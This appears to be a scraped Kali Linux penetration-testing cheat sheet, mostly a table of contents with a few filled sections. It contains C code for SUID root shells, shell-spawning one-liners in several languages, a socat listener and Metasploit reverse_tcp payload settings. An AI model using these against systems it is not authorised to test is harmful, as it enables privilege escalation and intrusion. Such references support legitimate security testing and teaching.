Kali Linux Cheat Sheet for Penetration Testers

Explore tools and methods for reconnaissance and enumeration to gather valuable information about your target.

• NMAP Commands
• SMB Enumeration
• Other Host Discovery Methods

Set up a Python local web server for various purposes, including hosting payloads and files.

• Python Local Web Server

Learn how to mount file shares for easy access and interaction.

• Mounting File Shares

Understand basic fingerprinting techniques to gather information about target systems.

• Basic FingerPrinting

Discover SNMP services and gather information using SNMP enumeration.

• SNMP Enumeration

Perform DNS zone transfers to gather information about DNS records.

• DNS Zone Transfers

Utilize DNSRecon for efficient DNS information gathering.

• DNSRecon

Learn how to enumerate information from HTTP/HTTPS webservers.

• HTTP / HTTPS Webserver Enumeration

Inspect network packets and analyze traffic for security assessment.

• Packet Inspection

Enumerate usernames through SMB and SNMP services.

• SMB User Enumeration
• SNMP User Enumeration

Explore wordlists and resources for password-related tasks.

• Wordlists

Learn about Hydra and its capabilities for brute forcing various services.

• Hydra

Explore password cracking tools and techniques.

• John The Ripper - JTR
• Hashcat

Discover techniques and resources for researching and identifying exploits.

• Exploit Research

Learn how to identify and compile exploits for various systems.

• Identifying if C code is for Windows or Linux
• Build Exploit GCC
• GCC Compile 32Bit Exploit on 64Bit Kali
• Compile Windows .exe on Linux

Understand SUID binaries and their role in privilege escalation.

• SUID C Shell for /bin/bash
• SUID C Shell for /bin/sh
• Building the SUID Shell binary

Spawn TTY shells for various programming languages.

• Python TTY Shell Trick
• Spawn Interactive sh shell
• Spawn Perl TTY Shell
• Spawn Ruby TTY Shell
• Spawn Lua TTY Shell
• Spawn TTY Shell from Vi
• Spawn TTY Shell from NMAP
• Spawn TTY Shell from awk
• Spawn TTY Shell from socat

Explore Metasploit and its functionalities.

• Meterpreter Payloads
• Meterpreter Cheat Sheet
• Common Metasploit Modules

Understand networking concepts for penetration testing.

• TTL Fingerprinting

Learn about IPv4 addressing and subnets.

• Classful IP Ranges
• IPv4 Private Address Ranges
• IPv4 Subnet Cheat Sheet

Quickly reference ASCII values and characters.

• ASCII Table Cheat Sheet

Explore common Cisco IOS commands for network assessment.

• Cisco IOS Commands

Nmap (“Network Mapper”) is a free and open-source utility for network discovery and security auditing. It's a versatile tool used by both systems and network administrators for tasks like network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.

In computer networking, Server Message Block (SMB) operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports.

Other methods of host discovery that don’t use Nmap.

Python local web server command, handy for serving up shells and exploits on an attacking machine.

How to mount NFS / CIFS, Windows and Linux file shares.

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification.

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system.

DNSRecon provides the ability to perform various DNS enumeration tasks.

dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

Use -t to limit concurrent connections, example: -t 15

int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

python -c 'import pty;pty.spawn("/bin/bash")'

python3 -c 'import pty;pty.spawn("/bin/bash")'

/bin/sh -i

perl -e 'exec "/bin/sh";'

ruby -e 'exec "/bin/sh"'

lua -e 'os.execute("/bin/sh")'

:!bash

!sh

awk 'BEGIN {system("/bin/sh")}'

socat file:tty,raw,echo=0 tcp-listen:4444

set payload windows/meterpreter/reverse_tcp

set payload windows/vncinject/reverse_tcp

set ViewOnly false

set payload linux/meterpreter/reverse_tcp

set payload android/meterpreter/reverse_tcp

Note: Class A, B, C are deprecated

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.